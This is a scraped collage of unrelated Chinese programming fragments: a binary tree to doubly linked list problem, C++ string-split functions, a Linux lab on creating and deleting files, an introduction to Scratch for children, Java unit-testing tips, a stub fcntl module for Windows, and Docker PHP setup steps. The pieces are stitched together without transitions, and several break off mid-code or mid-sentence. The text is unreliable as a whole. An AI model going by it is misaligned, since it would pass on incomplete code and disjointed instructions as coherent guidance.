输入:{10,6,14,4,8,12,16} 返回值:From left to right are:4,6,8,10,12,14,16;From right to left are:16,14,12,10,8,6,4; 说明:输入题面图中二叉树,输出的时候将双向链表的头节点返回即可。 示例2
输入:{5,4,#,3,#,2,#,1} 返回值: From left to right are:1,2,3,4,5;From right to left are:5,4,3,2,1; 说明: 5 / 4 / 3 / 2 / 1 树的形状如上图 1、题意分析 首先我们第一看到这个题目就会发现,如果我们对其进行中序遍历,则得到的结果为【4,6,8,10,12,14,16】,此时就符合我们题干的要求,再次把它转化为双向链表即可。
split 函数用 string find 函数实现的
split1 用 strtok 函数实现的
split2 使用 stringstream 和 getline实现
void split(const string &s, vector<string> &tokens, const string &delimiters = " ") { string::size_type lastPos = s.find_first_not_of(delimiters, 0); string::size_type pos = s.find_first_of(delimiters, lastPos); while (string::npos != pos || string::npos != lastPos) { tokens.push_back(s.substr(lastPos, pos - lastPos)); lastPos = s.find_first_not_of(delimiters, pos); pos = s.find_first_of(delimiters, lastPos); } } vector<string> split1(string str, const string& delim) { vector<string> ans; char* pos = strtok((char*)str.
第1关:Linux之文件创建/删除 任务描述 本关主要讲解在 Linux 命令行下如何对文件进行创建和删除操作。
本关任务:创建一个新的文件,同时将一个已经存在的文件删除。
提示:连接命令行后,先执行命令 cd /tmp , 进入临时目录,再执行练习操作。所有操作在 /tmp/ 下执行,否则可能破坏实验环境,导致评测不能通关。
相关知识 Linux 几乎大多数工作都可以在命令行下完成,除非要运行图形化工具。 Linux bash shell 提供了许多命令,例如:在命令行下可以轻松的完成文件的创建和删除。
本关将介绍如何在 Linux 命令行下创建文件和删除文件。
Linux创建文件 Linux 中使用 touch 命令来创建一个空文件。
具体命令如下: touch 文件名
具体说明:
如果一次想创建多个文件,则每个文件名用空格隔开。
touch 命令创建一个指定的新文件,并将当前登录用户作为文件所有者。
由于 touch 命令创建的文件为空,所以文件的大小为 0 。
touch 命令还可以用于更改文件的访问时间和修改时间,而不改变文件的内容。
Linux删除文件 Linux 中使用 rm 命令来删除一个已经存在的文件。
具体命令如下: rm 参数 文件名
常用参数如下:
-f :强制删除文件或目录;-i :删除已有文件或目录之前先询问用户;-r 或 -R :递归处理,将指定目录下的所有文件与子目录一并处理; -i :删除已有文件或目录之前先询问用户。 具体说明:
如果一次想删除多个文件,则每个文件名用空格隔开。
rm 命令可以使用通配符来删除文件。
编程要求 本关的编程任务是补全右侧代码片段中 Begin 至 End 中间的代码,具体要求如下:
应一些朋友相邀,决定整理编写一套 少儿编程零基础教程(Scratch),下面也将从多个角度来彻底揭开少儿编程的神秘面纱
个人觉得学知识最好还是要成系统的成套的好,零散的知识点意义不大,如同你知道金鱼只有7秒记忆一般。所以接下来一段时间我会尽量编写一套scratch从入门到熟练的教程;深入精通则需要后续自己努力与钻研,还是那句老话:师傅领进门,学习靠个人
写本套教程的目的有以下几点:
之前也对少儿编程了解不多,借助这个机会系统也学习了解下
帮助一部分朋友了解少儿编程
自己的孩子也快到适龄的年纪,后续也可以学习
scratch适合青少年学习,并且有此打底之后,后续学习 python、java等主流开发语言也会简单许多,我公众号中的python 可以作为进阶来看
最后就是希望大家多分享、转发、收藏,后续看有没希望打开一条收入通道
少儿编程是什么? 当前市面上鼓吹的少儿编程是否值得学习?Scratch又是什么? 对孩子到底都有些什么帮助?少儿编程有可能引入到正式的教育中吗 ? Scratch是少儿编程软件中的一种,但也是最广为人知,用户最多的一种,没有之一,入门简单,一学就会。
我之前其实也没怎么接触过Scratch,最近抽时间进行一番系统的学习与整理之后觉得确实非常的有意思,同时也觉得很适合刚接触编程的少儿学习。以下是对Scratch的介绍,同时也从多个角度来进行解答
什么是Scratch Scratch 是麻省理工学院(MIT)的“终身幼儿园团队”在 2007 年 发布的一种图形化编程工具,主要面对全球青少年开放,是图形化编程工具当中最广为人知的一种,所有人都可以在软件中创作自己的程序。截止到当前仍在更新中。
Scratch是一款非常棒的学习软件,Scratch只是学习用的,虽然也能开发出非常复杂、丰富的游戏和功能,但也改变不了Scratch是一种学习软件的本质。Scratch与Python,Java,C,C#等传统开发语言不是一个层次的东西,传统开发语言是学习工具,更重要的是生产工具,传统编程语言开发出的产品可以供非常多的人使用,可以提高我们的工作效率。
Scratch是一个很好的入门工具,但它不能满足所有的编程需求,所以不要神化它,如果想要进行更高级的编程还是要学习高级编程语言如:java、python、c++、c 、c# 等主流开发语言,本公众号中也有python、c#的从零开始教程,可以做为升级学习
Scratch软件是免费的、免费的、免费的,重要的事说三遍!!!
Scratch优点 它采用的是积木式、拖拽式编程语言。不像传统编程语言需要输入英文手动编写一行行的代码。几乎所有的孩子都会一眼喜欢上这个软件,建立起做编程的欲望。 孩子的成品可以通过软件直接发布到官方网站上。官方网站给每个注册用户开通了一个个人空间,放置发布的程序。(注:需要上国外的网才可以)
制作中的程序只能在软件环境下运行,发布后的程序则是在网页内运行的。就是说,孩子们的作品可以通过网络被无数人看到。官方网站具有交友和评论的功能。国内亦有类似官网发布程序后在网页内运行的网站,方便国内爱好者和孩子们对作品进行交流。
少儿编程和其它学科相比最大的优点是“好玩”,玩是孩子的天性,孩子能通过简单的拖拽,制作出故事,动画、游戏等。极大地满足了孩子玩的欲望,玩的过程中学到了很多知识。
Scratch的版本 Scratch有三个大的版本,1.4版,2.0版,3.0版
1.4版本:用Smalltalk开发。该版本的 Scratch 和网站没有联系(除了发布程序)。生成文件后缀名为sb
2.0版本:用Flash及ActionScript。支持矢量图(Flash是一个多媒体软件平台,在世纪初的时候非常火爆,都用来做小游戏和小动画,随着技术的发展,现在有很多局限性。ActionScript是Flash平台下的脚本语言,主要用于实现功能)。Scratch 2.0 分为离线版和在线版,在线版允许直接在 Web 浏览器里创建、编辑和查看项目(不再需要上传、下载项目或者安装其它软件),可以使用云变量。离线版则只能本地制作程序,且无法使用云变量。生成文件后缀名为sb2
3.0版本:用HTML5及JavaScript开发(HTML5 是最新的 HTML、CSS 和 JavaScript 的总和)。JavaScript 是一种广泛的语言,它支持所有浏览器和 WebGL,从而跨平台使用。也分在线版和离线版。生成文件后缀名为sb3,但它也可以读取 .sb 和 .sb2 文件。
说明1:Scratch软件是用Smalltalk、Flash、ActionScript、H5、JavaScript开发的。并不是孩子要用这些语言开发,孩子只需要用Scratch里自带的积木模块开发。
说明2:上面三个版本是统称,并不是某一个版本,比如:3.5版本,3.18版本,3.21版本统称3.0版本。
Scratch适合多大的孩子学习 Scratch学习的最佳年龄是 小学三年级到初中毕业(即:8~15岁),三年级以下的学生因为思维限制只能学习相对简单的知识。Scratch也需要数学等相关的知识基础,至少要认识部分汉字。三年级以下的孩子可以以了解或者学习计算机基本操作为目的。
MIT 的 ScratchJR 是 Scratch 中的一款专门为学前儿童开发的平板应用,适合 5 - 7 岁孩子学习编程
测试是开发的一个非常重要的方面,可以在很大程度上决定一个应用程序的命运。良好的测试可以在早期捕获导致应用程序崩溃的问题,但较差的测试往往总是导致故障和停机。 虽然有三种主要类型的软件测试:单元测试,功能测试和集成测试,但是在这篇博文中,我们将讨论开发人员级单元测试。在我深入讲述具体细节之前,让我们先来回顾一下这三种测试的详细内容。
软件开发测试的类型
单元测试用于测试各个代码组件,并确保代码按照预期的方式工作。单元测试由开发人员编写和执行。大多数情况下,使用JUnit或TestNG之类的测试框架。测试用例通常是在方法级别写入并通过自动化执行。
集成测试检查系统是否作为一个整体而工作。集成测试也由开发人员完成,但不是测试单个组件,而是旨在跨组件测试。系统由许多单独的组件组成,如代码,数据库,Web服务器等。集成测试能够发现如组件布线,网络访问,数据库问题等问题。
功能测试通过将给定输入的结果与规范进行比较来检查每个功能是否正确实现。通常,这不是在开发人员级别的。功能测试由单独的测试团队执行。测试用例基于规范编写,并且实际结果与预期结果进行比较。有若干工具可用于自动化的功能测试,如Selenium和QTP。
如前所述,单元测试可帮助开发人员确定代码是否正常工作。在这篇博文中,我将提供在Java中单元测试的有用提示。
1.使用框架来用于单元测试
Java提供了若干用于单元测试的框架。TestNG和JUnit是最流行的测试框架。JUnit和TestNG的一些重要功能:
易于设置和运行。支持注释。允许忽略或分组并一起执行某些测试。支持参数化测试,即通过在运行时指定不同的值来运行单元测试。通过与构建工具,如Ant,Maven和Gradle集成来支持自动化的测试执行。 EasyMock是一个模拟框架,是单元测试框架,如JUnit和TestNG的补充。EasyMock本身不是一个完整的框架。它只是添加了创建模拟对象以便于测试的能力。例如,我们想要测试的一个方法可以调用从数据库获取数据的DAO类。在这种情况下,EasyMock可用于创建返回硬编码数据的MockDAO。这使我们能够轻松地测试我们意向的方法,而不必担心数据库访问。
2.谨慎使用测试驱动开发!
测试驱动开发(TDD)是一个软件开发过程,在这过程中,在开始任何编码之前,我们基于需求来编写测试。由于还没有编码,测试最初会失败。然后写入最小量的代码以通过测试。然后重构代码,直到被优化。
目标是编写覆盖所有需求的测试,而不是一开始就写代码,却可能甚至都不能满足需求。TDD是伟大的,因为它导致简单的模块化代码,且易于维护。总体开发速度加快,容易发现缺陷。此外,单元测试被创建作为TDD方法的副产品。
然而,TDD可能不适合所有的情况。在设计复杂的项目中,专注于最简单的设计以便于通过测试用例,而不提前思考可能会导致巨大的代码更改。此外,TDD方法难以用于与遗留系统,GUI应用程序或与数据库一起工作的应用程序交互的系统。另外,测试需要随着代码的改变而更新。
因此,在决定采用TDD方法之前,应考虑上述因素,并应根据项目的性质采取措施。
3.测量代码覆盖率
代码覆盖率衡量(以百分比表示)了在运行单元测试时执行的代码量。通常,高覆盖率的代码包含未检测到的错误的几率要低,因为其更多的源代码在测试过程中被执行。测量代码覆盖率的一些最佳做法包括:
使用代码覆盖工具,如Clover,Corbetura,JaCoCo或Sonar。使用工具可以提高测试质量,因为这些工具可以指出未经测试的代码区域,让你能够开发开发额外的测试来覆盖这些领域。每当写入新功能时,立即写新的测试覆盖。确保有测试用例覆盖代码的所有分支,即if / else语句。 高代码覆盖不能保证测试是完美的,所以要小心!
下面的 concat 方法接受布尔值作为输入,并且仅当布尔值为true时附加传递两个字符串:
< class="hljs typescript">public String concat(boolean append, String a,String b) { String result = null; If (append) { result = a + b; } return result.toLowerCase(); } 以下是上述方法的测试用例:
<class="hljs less">@Test public void testStringUtil() { String result = stringUtil.concat(true, "Hello ", "World"); System.out.println("Result is "+result); } 在这种情况下,执行测试的值为true。当测试执行时,它将通过。当代码覆盖率工具运行时,它将显示100%的代码覆盖率,因为 concat 方法中的所有代码都被执行。但是,如果测试执行的值为false,则将抛出 NullPointerException 。所以100%的代码覆盖率并不真正表明测试覆盖了所有场景,也不能说明测试良好。
1.module ‘os’ has no attribute ‘o_NONBLOCK’ 解决方案 1.修改两个os.py文件,首先修改文件路径为Anaconda安装路径/envs/虚拟环境名称/Lib/os.py,添加如下代码 2.修改文件Anaconda安装路径/envs/虚拟环境名称/Lib/site-packages/eventlet/green/os.py,在第一行添加如下代码 2.ModuleNotFoundError: No module named ‘fcntl’ 在路径Anaconda安装路径/envs/虚拟环境名称/Lib下新建fcntl.py,文件代码如下 DN_ACCESS = 1 DN_ATTRIB = 32 DN_CREATE = 4 DN_DELETE = 8 DN_MODIFY = 2 DN_MULTISHOT = 2147483648 DN_RENAME = 16 FASYNC = 8192 FD_CLOEXEC = 1 F_DUPFD = 0 F_DUPFD_CLOEXEC = 1030 F_EXLCK = 4 F_GETFD = 1 F_GETFL = 3 F_GETLEASE = 1025 F_GETLK = 5 F_GETLK64 = 5 F_GETOWN = 9 F_GETSIG = 11 F_NOTIFY = 1026 F_RDLCK = 0 F_SETFD = 2 F_SETFL = 4 F_SETLEASE = 1024 F_SETLK = 6 F_SETLK64 = 6 F_SETLKW = 7 F_SETLKW64 = 7 F_SETOWN = 8 F_SETSIG = 10 F_SHLCK = 8 F_UNLCK = 2 F_WRLCK = 1 I_ATMARK = 21279 I_CANPUT = 21282 I_CKBAND = 21277 I_FDINSERT = 21264 I_FIND = 21259 I_FLUSH = 21253 I_FLUSHBAND = 21276 I_GETBAND = 21278 I_GETCLTIME = 21281 I_GETSIG = 21258 I_GRDOPT = 21255 I_GWROPT = 21268 I_LINK = 21260 I_LIST = 21269 I_LOOK = 21252 I_NREAD = 21249 I_PEEK = 21263 I_PLINK = 21270 I_POP = 21251 I_PUNLINK = 21271 I_PUSH = 21250 I_RECVFD = 21262 I_SENDFD = 21265 I_SETCLTIME = 21280 I_SETSIG = 21257 I_SRDOPT = 21254 I_STR = 21256 I_SWROPT = 21267 I_UNLINK = 21261 LOCK_EX = 2 LOCK_MAND = 32 LOCK_NB = 4 LOCK_READ = 64 LOCK_RW = 192 LOCK_SH = 1 LOCK_UN = 8 LOCK_WRITE = 128 def fcntl(fd, op, arg=0): return 0 def ioctl(fd, op, arg=0, mutable_flag=True): if mutable_flag: return 0 else: return "
本文将介绍如何在CentOS操作系统上利用Docker环境搭建PHP开发环境,并详细说明过程中改写了哪些文件。(PHP+MySQL)
步骤一:安装Docker
为了在CentOS上搭建Docker环境,我们需要先安装Docker。在终端中输入以下命令进行安装:
#安装Docker sudo yum install docker-ce docker-ce-cli containerd.io 安装完成后,启动Docker服务:
#启动docker服务 sudo systemctl start docker 步骤二:从Docker仓库中下载PHP镜像
在Docker仓库中可下载到多个版本的PHP镜像,我们选择其中的最新版本。在终端中输入以下命令进行下载:
#拉取最新版本php镜像 sudo docker pull php:latest 下载完成后,我们查看一下下载成功的镜像列表:
#查看镜像列表 sudo docker images 步骤三:创建PHP开发环境
在Docker中运行一个容器相当于创建了一个独立的虚拟机,我们可以在容器中搭建独立的PHP开发环境。
创建一个名为my-php-dev的容器:
```
#在容器中创建一个php容器 (容器名:my-php-dev) sudo docker run -it --name my-php-dev -p 8080:80 -v /home/dev:/var/www/html php:latest /bin/bash 其中:
- -it 表示创建一个交互式容器
- --name 指定容器名称为my-php-dev
- -p 8080:80 将容器的80端口映射到宿主机的8080端口
- -v /home/dev:/var/www/html 将宿主机的/home/dev目录映射到容器的/var/www/html目录
- php:latest 表示使用下载的PHP镜像版本
- /bin/bash 表示在容器中启动bash终端
步骤四:在容器中安装MySQL
在PHP开发过程中,我们通常需要与数据库进行交互。为了演示如何在容器中安装MySQL,本文使用MySQL5.7版本。在容器中输入以下命令进行安装: